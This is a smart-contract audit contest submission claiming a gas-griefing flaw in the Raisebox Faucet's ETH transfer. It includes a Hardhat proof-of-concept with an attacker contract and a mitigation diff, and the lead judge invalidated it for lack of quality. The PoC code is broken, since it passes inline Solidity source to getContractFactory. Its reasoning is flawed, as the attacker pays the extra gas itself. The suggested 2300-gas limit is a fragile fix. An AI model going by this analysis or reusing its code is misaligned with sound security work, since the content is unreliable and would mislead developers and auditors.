Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: low
Invalid

Unsafe External Call Without Gas Limit Enables Gas Griefing

Root + Impact

ETH transfer uses .call{value}("") without gas limit, allowing malicious contracts to consume excessive gas.

Description

  • Expected behavior: External calls should limit forwarded gas to prevent expensive operations.

  • The bug forwards all available gas on line 197, allowing recipients to execute expensive code.

@>(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // No gas limit!

Risk

Likelihood:

  • An attacker must deploy a malicious smart contract with an expensive receive or fallback function, which is technically straightforward

  • The attack can be executed by any user and doesn't require special privileges or complex setup

Impact:

  • Legitimate users attempting to claim from the faucet may face extremely high gas costs (potentially 10x or more than normal), making claims economically unfeasible

  • Severe gas consumption could cause transactions to fail due to block gas limits, effectively creating a denial of service condition for the faucet

Proof of Concept

This test demonstrates the gas griefing vulnerability where a malicious contract can consume unlimited gas during the ETH transfer. The attacker deploys a contract with an expensive receive function that performs costly operations like storage writes in a loop, causing the claim transaction to consume far more gas than intended.

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("M-3: Gas Griefing Attack", function () {
let faucet, normalUser, owner;
beforeEach(async function () {
[owner, normalUser] = await ethers.getSigners();
const Faucet = await ethers.getContractFactory("RaiseBoxFaucet");
faucet = await Faucet.deploy("Token", "TKN", ethers.parseEther("1000"), ethers.parseEther("0.005"), ethers.parseEther("1"));
await owner.sendTransaction({ to: await faucet.getAddress(), value: ethers.parseEther("1") });
});
it("Should show excessive gas consumption via malicious contract", async function () {
// Normal user claim - baseline gas
const normalTx = await faucet.connect(normalUser).claimFaucetTokens();
const normalReceipt = await normalTx.wait();
const normalGas = normalReceipt.gasUsed;
console.log(`\nNormal user gas: ${normalGas.toString()}`);
// Deploy malicious gas waster
const MaliciousContract = await ethers.getContractFactory(
"contract GasWaster { " +
" uint256[] public data; " +
" function attack(address faucet) external { " +
" IRaiseBoxFaucet(faucet).claimFaucetTokens(); " +
" } " +
" receive() external payable { " +
" for(uint i = 0; i < 50; i++) { data.push(i); } " +
" } " +
"} " +
"interface IRaiseBoxFaucet { function claimFaucetTokens() external; }"
);
const malicious = await MaliciousContract.deploy();
// Malicious claim with expensive fallback
const maliciousTx = await malicious.attack(await faucet.getAddress());
const maliciousReceipt = await maliciousTx.wait();
const maliciousGas = maliciousReceipt.gasUsed;
console.log(`Malicious contract gas: ${maliciousGas.toString()}`);
console.log(`Gas increase: ${((maliciousGas - normalGas) * 100n / normalGas).toString()}%`);
console.log("❌ Unlimited gas forwarding enables expensive operations!");
expect(maliciousGas).to.be.greaterThan(normalGas);
});
});

Recommended Mitigation

Add a reasonable gas limit. Limiting to 2300 gas provides enough for simple receive functions but prevents expensive operations.

- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip, gas: 2300}("");
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 days ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.